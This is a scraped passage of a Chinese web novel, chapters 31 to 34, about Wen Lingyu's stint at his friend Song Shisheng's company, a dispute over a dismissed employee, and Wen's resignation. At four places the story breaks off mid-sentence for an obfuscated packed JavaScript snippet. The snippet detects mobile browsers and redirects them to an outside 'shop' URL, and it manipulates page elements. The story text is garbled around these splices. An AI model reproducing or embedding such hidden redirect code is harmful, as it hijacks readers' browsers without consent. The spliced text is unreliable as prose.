温令羽说道：“小昕妈妈很着急，以后不能不和家长说就跑出来。” 宋时盛弟弟觉得自己非常冤枉，他问温昕：“你没和你妈妈说，完了，可别告状到我爸那里去。” 温昕生气得很，她不想对温令羽发脾气，只能转移到弟弟身上，“不会的，我绝对不会把你供出来！” 说到最后一句，已经是用吼的形式。 当天晚上，温父就打电话来让温令羽回去，在宋时盛公司上班的事情，还是捅到了温父面前。 到的时候，温父正在吃饭，见温令羽进来，让他去书房等他。 “什么时候的事情？”温父来得很快，想必是连饭都没吃完。 温令羽早就没了要争的念头，他答道：“前几天，具体不记得了。” 一方熄火了，另一方没有非要吵架的冲动。 父子俩能这么安静坐在这里探讨，是稀罕事。 “暑假回自己家公司帮忙吧，去别人那，以为是我亏待了你。”温父一点不想被他人诟病。 也因为此，温父从没少了温令羽的教育。 温令羽没有立刻答应下来，“等假期再说吧，一切都不确定。” 距离假期还有几个月，谈这些太早。 温父感觉没下了面子，说教结尾，“你还是学习为主，在宋时盛那里锻炼锻炼也可以，但不能耽误了学业。” 从书房里出来，天已经全黑了。 < 31.阳奉阴违 一连几天，温令羽和宋时盛一同外出谈事，忙完了这些，回到办公室，才发现大变样。 不只是原先空旷的工作室里人已经满了，甚至连他身边的都换了好几个，还有些调到了其他部门。 “刘子远的电话有没有？查一查。”其他部门过来调取员工资料。 温令羽登上内部系统，点进员工那一栏，准备在员工里面找，输入名字却没有查询结果，温令羽确认名字后又查了两遍，还是没有。 温令羽问道：“系统里没有这个人，确定是我们公司员工吗？” “已经被辞退了，在之前的员工资料里找。”对方非常着急，一点都等不了。 温令羽照例询问他，电脑上的操作也没有停，“找他什么事情？” 看清上面的照片，这人就是那天在休息室让他帮忙求情的，甚至与宋时盛还有渊源。 刘子远并没有交接完所有工作，其中就有一个业务，公司对接方就是他，可他的离职报告中并没有写明，导致现在业务进入停滞阶段。 “幸好小宋总最近没时间问，要不然就完了。”来接刘子远班的人非常惶恐，毕竟宋时盛辞人狂魔的称号牢牢焊在他身上，惹到他，分分钟获得离职大礼包。 温令羽将电话号码发给他，对方拿到电话就打过去，意外的是，刘子远的电话欠费了。 这样的结果，耐心不断地耗尽，缓缓说出一句话，“欠费的电话，还用个鬼啊。” 温令羽回复道：“要不然给他冲一个？” 说完，又有另一个人进来找温令羽，来找他处理事情，工位这么小，容纳不下这么多人，温令羽只能先让对方出去，自己打给刘子远。 原先人事部的人有很多，但由于公司业务正在逐步开展起来，人手不够，便把人调了出去，导致现在都来找温令羽，毕竟只有他最近刚回来，手头上没有安排任务。 其他人都在忙。 温令羽查资料找资料翻了半天，在档案室门口又遇上了那个找刘子远的人。 “刘子远的地址是错的，还有没有其他的？” 对方是特意过来等温令羽的，见他出来了赶紧问他，生怕少了一步，温令羽就去忙其他人布置的活了。 温令羽已经把刘子远登记在公司的资料都发了，再多的拿不出来。 “没有了，刘子远入职提交的资料我都发给你了，你要不问问他在公司的朋友。”温令羽回答道。 对方正为这件事心烦，他语气来得冲，“刘子远在公司一直独来独往，唯一离得近的一次，就是和你在休息室。” 难怪缠着温令羽不放，敢情是从其他人口中知道了这些，觉得从温令羽这里下手可以得到刘子远的去向，可能还猜测是温令羽故意隐瞒，不想说。 本来还心平气和地谈，温令羽也是想好好解决问题，给他出点子。 结果，竟然还怀疑上他。 公司里果然没有真正秘密可言，到哪里都会有人看见，哪怕是在空无一人的休息里间。 温令羽这会儿心情也不好了，他回复道：“你现在是什么意思？” 见把人惹生气了，节骨眼上不好得罪人，他缓了语气，“不是，我刚刚着急了，现在对方公司找过来了，但我根本不知道进行到什么程度了……” 说到底是关不到温令羽身上。 “这个跟我没有关系，能查到能发的我发完了。”温令羽当然不会这么轻易就原谅了，然后眼巴巴上去帮忙，他能做到的事情做完了。 “你们在这里干什么？”宋时盛来找温令羽，知道他在档案室，特意找过来的。 两人双双转头，就看到宋时盛站在他们身后。 宋时盛先是问别人，“你有什么事？” 威名在外，容易把人唬住，脑子都转不过来，一句话回不了。 温令羽替他回复：“刘子远走了，有个业务没有交接，现在合作方找过来了。” 刘子远是宋时盛辞退的，交接工作是助理全程盯着，不可能会出现这么大的纰漏。 “哪个？” “晓远公司的，一直由刘子远负责跟进。” 一听到这个公司名，宋时盛想起了项目，他记得很清楚，这个案件负责人并不是刘子远，说道：“晓远这么重要的合作对象不是他，你组长呢？” “我组长说一直是由刘子远负责的。” 这么一说，宋时盛一下就想到了内情，他先是给秘书打了个电话，接着让他把项目组组长叫到办公室，然后就径直回了自己办公室等人，留两人剩在原地。 “小宋总这是什么意思？我惹祸了？” 温令羽能猜到一点，可不清楚情况不能确认，摇了摇头，表示自己也不清楚。 在职场上，说话前先想想这个事情确不确定，有一点矛盾都别讲。 到了下午，温令羽一直在处理待办消息，忽然跳出来一条，给温令羽吓了一大跳。 项目组组长的辞退待办，是由宋时盛亲自签发的。 几个小时，像是变了个天。 温令羽带着文件去找宋时盛做最后确认，毕竟辞退的是项目组的组长，公司核心人物，哪怕是辞退也得经过重重关卡。 宋时盛生了很大的气，桌上的东西都摔了一半，一走进看到乱七八糟但又整齐的文件，应该是助理给他捡起来了。 “事情查清楚了？怎么生这么大气。” 回办公室后，宋时盛催得很急，处事这么多天，助理知道宋时盛是个眼睛里容不下沙子的人。 加上重要程度，助理是一点儿不敢马虎，没几个小时就彻查清楚了，赶紧来向宋时盛汇报。 刘子远并非是项目负责人，宋时盛他没记错，但也有没料到的，刘子远却是实际跟进人。 项目组组长光顾拿名和利，用权强迫刘子远无偿无名来负责业务项目，抢占别人的功劳，自己在后面收获果实。 不避着人，丝毫不担心有人会告密，或者是被上级发现。 因为他手头上资源很多，上级睁一只眼闭一只眼的次数多了，他当成理所应当。 偏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12837539|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 偏这次，他遇上的是总公司的少爷，手上资源再多也多不过宋时盛自己，开就开了，谁都不敢有二话。 宋父这个撑腰，是稳稳的。 这个发展，温令羽猜到了部分，但没想到这个项目组长对刘子远的压榨远不止于此，说道：“这个组长太狂妄了，是真不怕？” 再一次提到了那个组长的名字，宋时盛炸了，“一个组长都敢不把我放眼里，这几天我好脾气一点，都让他们忘了我是谁了吗？” 温令羽不愿意让其他人被殃及，全推在当事人上，“公司和谐氛围最重要，别气。他们隐瞒你也不知道，处理了就行。” 下一秒，温令羽想到了事件里最无辜的人，“刘子远呢？你准备怎么办？” 温令羽和宋时盛认识这么多年，是知道他的脾气和性格，手底下的人出了这么大的纰漏，肯定会有补偿措施的。 刘子远为公司付出了这么多，好处全落在别人的身上。 现在正气头上，宋时盛自动把这个事情忽略了，偏偏温令羽这次还提了出来，避无可避。 “刘子远在外接活，违反了规定，而且辞退声明发了，我也不能把人请回来。”宋时盛边想边说。 通过内线叫助理进来，嘱咐道：“赔款到账后，打一部分到刘子远的账户上作为补偿，你去跟进。” 话音刚落，门就被敲响了。 助理进来把门锁上，宋时盛看了助理一眼，向门口问道：“是谁？” “小宋总，公司里的事情宋总已经知道了，派我来了解情况。” 原先宋时盛一副游刃有余样，听出来外面是谁后，顿时慌了神。 “他怎么来了？”宋时盛想装不在，但记起来是他问的话，看了一眼助理，轻声抱怨道：“都是你，你怎么不在外面给我挡着。” 助理手一摊，表示自己爱莫能助，然后安静躲在一边看好戏。 宋时盛给他开了门，“你怎么过来了？有事可以给我打电话的。” 对方是宋父的得力干将，信任他，才把宋时盛实地学习任务交给了他，但总公司还有活。 平时待在公司为宋父做事，发生大事或者宋时盛找他，才会过来。 宋时盛处理得很快，但他还是知道了，觉得是一个很好机会，作为经典例子来教宋时盛，特意下班前赶过来。 他们谈事情，温令羽和助理不好在内，便一起等在外面。 温令羽还奇怪刚才宋时盛的态度，“宋时盛为什么不愿意他过来？” 助理回答道：“每次总公司的人下来，都会给小宋总说教很长时间，小宋总觉得烦，所以不愿意让他过来。” “他经常来吗？” “小宋总刚到这里的时候，是随时跟着，后来公司稳定下来后，就回到总公司去了，不常过来” 以往是一个小时打底，这一次出乎意料，几分钟就出来了。 “刚刚小宋总和你说的赔偿，不用进行下去了，刘子远的事情到此为止，剩下的我会接手处理。” “明白。” 32.重新回来 等人走了后，温令羽和助理才从进去，里面不知道谈了些什么，宋时盛一脸怔愣坐在办公位上，他们进来都没给什么反应。 宋时盛这副样子，温令羽从没见过。 “你怎么了？”温令羽关心道。 一句话给宋时盛问回神了，不过他没细说，只是道：“今天我回家住，你打车回我个人报销。” 宋时盛提前叫司机过来接他，温令羽照例等到下班点打完卡再走，就在大门口，看到了刘子远。 两个人的距离很近，温令羽能认出来，刘子远也想起了温令羽这个人。 求他找宋时盛求情，但没答应。 刘子远眼底乌青明显，像是好几日没有睡好觉，被公司辞退连理由都写得合情合理，实际对他找工作是极其不利的。 温令羽想到了这些，心一软，说道：“项目组组长的事……” 单单是开了一个口，刘子远就知道了后续，他打断了温令羽的话，“我知道，那个家伙被辞了。” “那你这次来是为了什么事？”接私活的事情是确定的，严重违反了公司的规定，不合乎情但合理，温令羽没法去向宋时盛去开这个口，更何况宋时盛也不会同意。 吃力不讨好的事情。 刘子远清楚他此刻的现状，“我是来交接晓远的业务的，那个组长不走，我是不会回来的。” 温令羽心下一惊：这是一知道消息就过来了，运气不好只赶上了下班点，大伙都走了。 “可现在公司已经下班了，项目组的人可能都走完了。”温令羽讲的是实话，项目组工作量大，一下班就撤退，连宋时盛都放过话，不会给他们穿小鞋。 有了政策在前，下班积极性很高。 刘子远手头上积蓄少，能省钱就省，又碰上修马路公交绕路的事，一不小心晚了半个小时，卡在了下班点。 温令羽回忆了一番，公司里还有几个人，他面生，或许就有项目组的人留下来加班。 “我带你进去吧，你联系一下。”温令羽记起那个催他找刘子远的人，晓远的事情想必是由他全权负责的。 刘子远边打电话，边向温令羽道谢：“谢谢。” 两人公司里找了一圈，还在项目部等了几分钟，而且对方的电话一直打不通。 这个架势，基本上是找不到人了，“他应该走了，你明天过来吧。” 安全起见，温令羽不能把刘子远单独放在公司里，要是出了事，把人带进来的温令羽要负责任。 老师有教导过，凡事小心为上。 这么说，刘子远读懂了温令羽话里的意思，“影响到你下班了，不好意思。” “都是为了公司的事，不麻烦。”温令羽回复道。 这么点时间，公司里的人全下班了，温令羽他一下子成了全公司最后一个，他认命把其他办公室没关的灯一起关了，才和刘子远一同乘电梯下楼。 他们公司是附近一片区里，下班完成率最高的，加班率最少的。 到了门口，温令羽在等他打的车，刘子远突然开口问道：“我可以问问，当初是谁举报我的吗？” 问温令羽，是刘子远知道，这里面绝不包括温令羽。 他刚来，连人都没有认全，没有举报的实力，加上他与小宋总的关系，完全不需要搞背后举报这一项。 几次斟酌下来，刘子远还是问出了口。 温令羽摇了摇头，他并不知情，“我不知道，你是从谁那里听说的，要不问问他？” 举报直接通到宋时盛那里，直达上级，没有一层层上去，温令羽也没有知晓的渠道。 温令羽刚说完，打的车就到了，他对刘子远说道：“我先走了，明天你到公司联系不上再找我。” 项目部经常会有外差，温令羽能猜到刘子远的情况，多跑几次没有必要。 刘子远欣然应下，趁着车门还没关闭，赶忙问道：“晓远的项目现在是谁负责？姓方的吗？” “好像是，你明天可以自己和新负责人对接。”温令羽不记得对方的名字，但在他眼前晃得次数多了，会有一点点印象。 温令羽第二天一早有课，先去过学校再去公司。 多亏早几天上班的作息，温令羽醒得很早，吃完饭直接来了学校，没想到宋时盛也来了，正趴在后排发呆，困也不困。 温令羽坐到他旁边，“回了趟家，这么没精神？” 宋时盛没理会温令羽的打趣，他趴着的姿势都没变，“我现在非常需要一个蛋糕，要甜一点的。” 心里烦躁的时候，总会用蛋糕来化解。 独属于宋时盛自己的治愈方式。 “那我去给你买一个？学校蛋糕店里的行不行？”温令羽说着打开手机，翻微信群里，最好是能送到教学楼的。 宋时盛制止了温令羽，还很得意，“没事，我已经定完了，中午去拿。” 亏待别人，也不能亏待自己。 “我想把刘子远重新招回来，算了，不差他一个。”宋时盛说到后面，更像是自言自语，不用温令羽回复的那种。 距离这么近，温令羽能听清楚，“你回去和你家里说了这件事？他们是什么意见啊？” 宋时盛自己回去很早，但宋父宋母工作忙，工作到很晚才到家。 由于有话要说，宋时盛便一直等着他们吃饭，这一等，饭菜都热了好几回了。 “你怎么回来了？没在令羽家？”宋母很惊讶，她这个儿子自从开始接手，在家的时间屈指可数，都不愿意回家。 宋时盛给宋母移了个位置，“有点事情想问你们。” 而晚一步进来的宋父看着一桌子菜，他记得叮嘱过阿姨，今天有应酬不回来，只要准备宋小少爷的就行。 “你弟弟吃了吗？”宋父拉着宋母坐了下来，宋时盛特意等他们吃饭，肯定不能说在外面吃了，容易打击孩子的积极性。 “吃过了，在房间写作业。”宋时盛给宋父宋母夹了菜，宋父宋母没辙，硬生生逼着胃多吃了几口。 到了后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“不是，昨天下班我碰到他了，知道组长被开了立马赶了过来，没想到还是太迟了……”温令羽还没说完，听到这些的宋时盛已经开始烦躁挠头。 片刻后，宋时盛一脸幽怨看了过来，“你还不如不告诉我呢，我现在更纠结了。” 从宋时盛的话里，温令羽稍微了解一点晓远公司的含金量，听得多了，他总觉得耳熟，“晓远公司好耳熟，我总感觉哪里听到过。” “温远叔的公司，本来是和我爸公司谈的，但经过一段曲折，到了这里。”宋时盛特骄傲，计划书是他们公司独自策划出来的，超过了总公司。 温令羽早先没关注过这些，但他对公司名的太陌生了，竟忘了温远的公司名，简直是白吃了温远家的几顿饭。 这也难怪宋时盛会如此重视，点名由组长负责。 “我还说你记性这么好了，连项目负责人都能记得这么清楚，当时是一口否认掉了。”温令羽意外，公司在总公司的庇护下，业务开展得很好，部门人员到齐后，每个人都有事情忙。 宋时盛说道：“其他项目我记不清，但这一个我肯定啊。你刚刚说刘子远昨天过来，公司没人，打算怎么处理的？” 被打断的对话还能重新合回去，“新负责人的电话打不通，私人电话我也查不到是谁，让他明天过来。” 33.回到公司 “什么？你不来了？” 课间时间，温令羽注意到他有未接来电，趁还没上课，到走廊上去接听，此时的刘子远已经上了回去的公交车，怎么样都赶不上了。 刘子远不知道碰见了谁，与温令羽说话时久久不能平复心情。 “晓远公司的计划书就是我制定的，后续跟进也应该由我负责，我要回到公司。”刘子远说完直接挂断了。 温令羽只好打回公司，问同事发生的具体情况，以及刘子远是否真的来过公司。 在同事的口中，知道刘子远来到了办公室，等负责人小方进去，没几分钟刘子远就出来了，谁也拦不住。 “小方和他有什么矛盾吗？”温令羽还记得刘子远问他的问题，第一反应就想到他们之间的渊源。 同事是新来不久的，但他比温令羽会说话，来得晚但在部门里混得开，跟谁都能说上几句话，久而久之，也知道了公司很多八卦密谈。 早在事情刚发生时，他就问了公司老人，知道了刘子远和小方两人之间的纠葛。 小方比刘子远进公司早，在公司一向没什么存在感，有活干的时候才会找上他，刚开始的小方把这当成一种重视，把帮别人干活当成荣誉。 也因为此，在部门里的人缘很好。 刘子远比小方晚了两年进公司，敏锐的“嗅觉”使刘子远早早拿了几笔大生意，连组长很快注意到来了这么一个新人，开始把重要任务交给刘子远。 本来小方负责带人，一下子手底下的新人蹿了上来，超过了自己，心里难免会有不平衡的时候。 刘子远任务完成得很好，连组长都开始争他的名头，从刘子远手里抢项目。 孤立无援的他，只能任由组长抢走功劳，奖金荣誉一笔笔被拿走。 上报的路早就被掐死，刘子远无路可走，放任自己在泥潭里挣扎。 剩下一点肉渣子，慢慢的，刘子远连生计都出现了问题，瞒着组长，自己同合作方联系，自告奋勇为合作方做事来谋求一个固定对接人的身份。 这样做，能不至于让组长抢了去功劳。 最终落得个辞退的下场。 仔细想想，整件事最大的受益者是小方，一封举报信加上他的手段，结果是让两个人都走，而且自己又得到了资源和机会。 把晓远的事情处理好，何愁升职。 温令羽将事情转述给宋时盛听，太戏剧化了，宋时盛不敢相信，他抓住了重点，“你是想说刘子远接的私活也是为了拿下项目？” “这个还有待深究，但刘子远被举报的事情真的是小方做的吗？”温令羽更在意举报者，要真是小方，他就成为了被算计的一环。 宋时盛哪里还记得举报信的名字，先是摇了摇头，觉得温令羽是否太偏袒刘子远，想起他们两个曾有关系好的流言传出来。 但下一秒，看见温令羽紧皱的眉头，他就反应过来，是想歪了。 认识这么久，而且连教课的老师都是同一个，思考方式一般无二，两人想到一块去了。 作为老板，被员工算计了。 宋时盛赶紧给助理发了消息，让他把举报信重新传一份给他。 “邮件是我助理收的，我让他传我一份。”举报肯定不是实名制，但只要举报人用公司电脑，有痕迹就查的出来。 助理还在公司岗位上，收到消息半点儿不敢耽搁，找到了发过去。 “能查到是谁发的吗？”宋时盛接收到了邮件，继续问道。 温令羽在看举报信的内容，对方应该是观察了好几天，证据非常详细，难怪宋时盛看过这么生气，没听人家解释，直接辞退了。 证据齐全，真实可信，造假不了。 过了半个小时，助理才回复：“查不到，不是用公司电脑发送的。至于发件人的邮箱，查的范围就大了，还需要吗？” 实际上是问值得吗？ 宋时盛没让助理继续下去，则是拨了个电话给温远。 温远知道两家公司的合作进度，连在停滞期也清楚，换成其他人，肯定就上门催了，但是因温寻而凑成的合作，一时间还不好开口。 轮到宋时盛主动打来，绝不能放过这个机会。 “时盛，怎么了？”温远选择先叙旧几句，之后再开始谈正事。 宋时盛要问的话很多，在脑子里转了几圈，斟酌后才说道：“我公司一名员工说在你公司兼职，就想来问问温叔叔，有没有这回事。” 话有点绕，温远还是从中理解了他的意思。 还认为是宋时盛反客为主，仔细想想，或许不是博弈，而是确有其事。 “我让我助理去查一查，晚些时候回复你。”温远挂掉后立马把他们公司负责人喊了过来。 开始当然不认，但在听到对方公司的名，误以为是被告的密，没有转圜余地，只能坦白交代，希望老板能从轻发落。 单是生意上的伙伴，温远必然睁一只眼闭一眼，就当没这回事，也不会认。 情况不同，对象不同。 温远便一五一十和宋时盛说了，对他管教不严的事深感抱歉，为了合作能继续下去，还让了几分利。 出了学校，温令羽和宋时盛兵分两路，一个先回公司找小方 ，另一个则是去找刘子远。 无论如何，也得把晓远公司的事情定下。 温令羽根据刘子远入职时自己填的地址找了过来，这里是老旧小区，地方偏僻又人多。 要不是温令羽是本地人，否则还真难找到。 温令羽往回退了几步，确认过门牌号，敲了敲门。 敲了几分钟，迟迟没人过来开，以为是刘子远还没有回来，便站在旁边等。 “这个房子，过来看。” 房屋中介带着人过来看房子，几个人就看到温令羽站在门口等。 看房时不希望有旁人在场，立马就不满地看向中介，“这也是过来看房子的？” 中介不认识温令羽，心里也冤枉，“我不认识，你是谁啊？” 后一句问的是温令羽，温令羽也被中介问懵了，“刘子远不住在这里吗？” 中介赶紧澄清自己，不敢耽搁看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12897184|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 房的事情，把温令羽推到一边，开门带人进去。 温令羽打刘子远的电话没人接，地址也是错的。 “你先回来吧。”宋时盛让温令羽先回公司，再想其他办法。 温令羽想了想，决定多等一会儿问问。 这里的房租价便宜，而且设施也齐全，性价比高，对方看了一圈，没什么问题就定下了。 中介笑容满面地出来，把人送走。 注意到温令羽还站在门口，刚刚温令羽说话的时候他就清楚他来是什么事，房子租出去了，他也高兴，便和温令羽主动说道：“刘子远前几天付不起房租走了。” “他去哪了？”温令羽感觉他可能知道什么。 中介也不清楚刘子远的去向，温令羽心知在这里已经没用了，给刘子远发了信息后就准备回公司。 在路上，温令羽突然想到了老头衫大哥的话，是个突破口，立马让司机转方向去鬼小馆那。 鬼小馆占地大，离市中心远，附近房子建得少，经常有一些流浪者露宿。 到了地方，温令羽直接找老头衫大哥，里面找了一圈都没见着人。 “他好像出门了，我去找找。”立马就有人起来要为温令羽找人。 温令羽制止了他，“我自己找。” 附近游走的鬼魂有不少看见了，有了他们的指路，温令羽在溪边看见了老头衫大哥，刘子远就坐在他旁边，两者距离几米。 温令羽走了过去，“你怎么找到他的？” “他最近没地方去就来这里，我看到好几次了，想着没事就过来看看。”能找到刘子远纯属巧合。 就这么静静看着刘子远，“他……” 一个字，剩下的话隐没在话里。 温令羽点了点头，明白他的意思，回答道：“是。” 或许是他们的眼神太明显了，刘子远似有所感地看了过来，就发现温令羽站在那儿，一下从地上站了起来。 “你怎么找到这里的？”这里偏僻，几乎不可能会有认识的人过来。 温令羽向他打招呼，搪塞道：“巧合。” 刘子远没说信，这时人已经过来了，把自己手机重新开机，通知显示好几通未接电话，最上面的是温令羽发来的短信，看清上面的内容，他一惊。 “你真的能说服他们让我回公司？”刘子远是被辞退，只要下一份工作去做背调，就会知道这些，录用的可能性大大降低，现在也只有重新回到公司。 可以证明并非是他的问题。 温令羽想起宋时盛的决定，他点了点头，有了底气，“晓远公司已经出具了证明，为刘子远私活的事作证据，当然也就有理由把人请回来。” 刘子远眼睛亮了起来，“我就可以回去了？” 温令羽肯定，把话又转了回去，“晓远的项目依旧由你负责，如果不能完成，后果你也是能想到的。” 刘子远急需一份工作，赶紧答应下来，生怕温令羽中途返回。 “那姓方的，他……” “还在，与你一同负责晓远。” 34.消耗情谊 属于他们的考验。 公司项目逐渐迈入了正轨，温令羽也开始了无所事事的时候，思考了好几天，还是和宋时盛提了离职。 有时真的会佩服温父的先见之明。 至少他不爱按部就班的工作这一点，被温父看了出来。 这一两个月，温令羽在学校和公司两边跑，早就筋疲力尽，仅剩的一点热情被消磨殆尽，意识到自己少了点拼搏的想法。 “这段时间不忙吧？还是你有什么安排？”宋时盛以为是温令羽冲动，没细想过就脱口而出。 温令羽摇了摇头，如今公司已经不缺人了，最开始留下来的初衷已经完成了，到了功成身退的时候，况且他的鬼小馆店铺的业务快堆不下，亟待解决。 “况且有你公司的履历在，我以后找工作也方便。” 宋时盛清楚温令羽心意已决，挽留的话到了嘴边没说出来，“你放你三天假期，之后若是还想走，再提交辞呈。” 还是给了温令羽机会，让他能仔细想过再来。 要是让温令羽独自思考，自己却丝毫不行动，绝对不是宋时盛的作风，肯定找到时机给温令羽洗脑，试图以此来改变温令羽的想法。 到了晚上，宋时盛就硬拉着温令羽出门吃夜宵。 假期的夜晚，路边的夜宵摊子特别多，每走几步的路口就能看到有人摆在那里。 种类丰富多样。 温令羽随便找了个位置坐下来，宋时盛拿了几瓶酒，虽是啤的，但温令羽依旧不喜欢，果断婉拒，“我不喝，你自己解决。” “我终于知道温叔不让你继承家产的原因了，你真滴酒不沾？”宋时盛打小就被培养出来，跟着宋父，也学着宋父。 在温令羽和宋时盛还没成为高中同学时，两家人在宴会上就曾遇到过。 温父和宋父一碰上就有好多话可聊，温令羽只是被拉来凑个数，温昕当时年龄小没到参加的年岁。 没人管温令羽，便站在餐食那边不动，挑选几样自己喜欢吃的，就找个无人的地方打发时间。 恰好就碰见了出来醒酒的宋时盛，宋时盛酒量不好，几杯下肚头就开始晕乎乎。 宋时盛靠在阳台椅子上假寐，或许是真睡着，来恢复精神气，不过温令羽自己想不通为什么要来这里睡，自以为是装的。 在辅导课上遇到过几回，温令羽没这么害怕，自顾自在一边吃东西。 叉子和陶瓷盘子碰撞的声音尤其大，哪怕是温令羽极其小心，还是能把宋时盛吵醒。 “这个好吃吗？”两人对视良久，谁都没先开口，宋时盛自告奋勇打破了僵局。 温令羽把自己的盘子递上去，“你要吃吗？” “我只有一份餐具。”言下之意是自己吃过，温令羽想到这，赶紧把盘子撤回来，下一秒被宋时盛眼疾手快阻止了。 宋时盛不介意，夹起一块儿就吃，宴会上的东西没有想象的难吃，比不上精心准备的，此时此刻下垫垫肚子却是不二之选。 但宋时盛刚喝的酒胀胃，吃了几口就放下了。 “温叔没有逼你喝？”宋时盛认出温令羽来，温令羽拿的是果汁，却是十分羡慕起他来。 温令羽摇摇头，坦言道：“我就负责凑个人头，没人管。” 直到现在，宋时盛依旧还在羡慕温令羽，重担放在年幼的妹妹上，作为哥哥，哪怕不受重用，但绝不会少了吃喝。 这些话温令羽听得耳朵都要起茧子了，“说这么多年，你不腻吗？” 宋时盛也有个弟弟，“好想和我爸商量一下，把家产全留给我弟吧，我想躺平。” 说着，宋时盛又想起了另一件事情，“温叔那里有个小项目，你帮我打听打听。” 前一秒还说要摆烂不干，后一秒比谁都积极。 “我明天回家问一问。”温令羽也是应下这件事情，这顿夜宵的目的大概也就在这上面，并不意外。 通过内部途径特招进来，做着陌生的工作，无所事事在公司里当吉祥物。 只靠着友情那一点维系远远不够。 无偿，在另一种层面来讲，需要付出更大的代价。 若仅仅是这个，温令羽表示可以接受。 何况，在留下去，消耗的只会说感情。 许久没出来吃夜宵，两个人吃得都比以往多，也很尽兴。 把最后一只小龙虾解决掉，温令羽看了看手机上的时间，已经半夜十一点了，是该回去了。 宋时盛去结的账，“吃饱了吧？” “走吧。”温令羽吃不下了，想着时间不早，准备回家了。 宋时盛拿出手机找司机过来接他们，把温令羽送到他家楼下，“行李我明天再来拿，接下来就不住你这了。” “这三天与其让你考虑，不过是我在拖延时间。” “你说出口的事，心里早就轮了好几遍了。” 时间也很巧，宋时盛在附近的房子放置很久了，从温令羽这里搬出去，就能搬进新家。 温令羽目送宋时盛车离开，在不远处停下，后座车窗降下，宋时盛头探了出来，“暑假工作不好找，要不然再待几个月？” “不待了，假期我有其他安排。”温令羽挥挥手，同宋时盛道别，再次嘱咐宋时盛司机路上小心。 宋时盛不愧是他多年好友，能知道他一旦说出口，就没有反悔的可能。毕竟他一个社恐，不到万不得已绝不会开口，总要在心里转了一遍又一遍。 而且，今年假期温昕小升初，他弟弟初升高，都是重要的时间节点。 如此重要时刻，温父绝对会要求温令羽这个哥哥在场，以此来彰显家庭和睦友好。 至于他弟弟，温令羽已经快一年没见过面令美珑，中考作为一直横跨在两人之间的阻碍，温令羽不愿打扰令美珑，一直忍着，终于结束了，当然想去见见。 最重要的，就是鬼小馆的事情。 这几天，阿辛一直愁眉苦脸，问他又不说，只让温令羽先忙自己的事情，与店铺开张那几天截然相反。 是人是鬼，都能从中发现不对劲。 第二天晚上，温令羽就回了温家，温父看到温令羽就让他去书房 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|12914718|132143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等着，似乎早就知道温令羽此番的来意。 “你之后还是回自己家公司来。”温父猜到了温令羽要走了，便想给他在公司安排个职位。 这是温父第二次提了。 要是上回，温令羽只是觉得温父不清醒，但第二次，温父不可能糊涂两回。 温令羽很是疑惑，“你不是不喜欢我去公司吗？” 早在宋时盛跟着宋父时，温令羽也提出过，但被温父一口否决，说出让温令羽别来公司这种话。 “我什么时候说过这种话？”温父说着说着，突然想起来了，“家里公司还不稳定，我每天忙，哪有时间带你。” “你在宋小子的公司锻炼过了，有经验了刚好来自家帮忙，以后更好帮你妹妹。”温父早先没想清楚，觉得温令羽作为他儿子却在别人公司打下手，太丢人。 当天晚上又仔细想了想，这不妥妥大好事，儿子跑不了，学有所成的儿子更有价值，于是也就不催着温令羽回来。 温令羽知道温父心里在卖什么关子，斗智斗勇了这么多年，总有一些秘诀，“那项目，有合适的对象了吗？” “要不是背靠宋氏这座大山，我是不会看上这个小作坊。”温父不纠结温令羽来不来公司的事，然后，把放在抽屉最上面的文件拿了出来， 温令羽打开一看，俨然是合作协议。 温父原来早早备好了，就等温令羽上门来找。 温令羽收下了协议，发给了宋时盛，由他决定合作的相关事宜，而自己也把辞呈一同交了上去。 办好了这些，温令羽便把温老和阿辛叫到了客厅，准备开一次内部会议，正式讲一讲他假期的工作重心。 “我已经辞掉了工作，之后我会和你们一起去鬼小馆，正式开始为鬼向人传话，以此完成任务，帮助鬼魂脱离。”温令羽慷慨激扬地宣布激动人心的一刻。 温老假意给面子地鼓了鼓掌，阿辛嘴角抽了抽，鼓掌都是敷衍了事。 没有动力。 “你们这是怎么了？”温令羽势必要找出理由来。 这东西没法隐瞒，阿辛看了温老，忽略温老试图阻止的眼神，“我们除了温大爷一个业绩，根本就没有鬼相信我们。” 一开始大家还踊跃报名，向阿辛诉说自己的情况，为了能插队提前，连店铺装修都包揽下来。 过了这么长时间。毫无音讯。 可信度就在这一天天中日渐消磨掉。 